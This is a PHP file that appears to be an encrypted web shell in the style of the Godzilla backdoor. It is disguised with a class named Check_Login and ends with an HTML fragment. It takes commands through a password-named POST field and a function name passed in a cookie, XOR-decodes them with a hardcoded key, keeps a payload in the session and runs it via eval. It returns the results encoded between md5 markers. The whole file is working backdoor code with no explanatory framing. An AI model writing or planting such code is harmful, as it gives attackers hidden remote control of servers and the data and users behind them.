<?php class Check_Login{ public $name; function check_name(){ define("Demo",$this->name); } } @session_start(); @set_time_limit(0); @error_reporting(0); function encode($D,$K){ for($i=0;$i<strlen($D);$i++) { $c = $K[$i+1&15]; $D[$i] = $D[$i]^$c; } return $D; } $pass='company'; $payloadName='payload'; $key='93c731f1c3a84ef0'; if (isset($_POST[$pass])){ $data=encode($_COOKIE['update']($_POST[$pass]),$key); if (isset($_SESSION[$payloadName])){ $payload=encode($_SESSION[$payloadName],$key); if (strpos($payload,"getBasicsInfo")===false){ $payload=encode($payload,$key); } $l = new Check_Login(); $l->name = $payload; $l->check_name(); eval(Demo); echo substr(md5($pass.$key),0,16); echo base64_encode(encode(@run($data),$key)); echo substr(md5($pass.$key),16); }else{ if (strpos($data,"getBasicsInfo")!==false){ $_SESSION[$payloadName]=encode($data,$key); } } } echo '"></head></html>'; exit(0);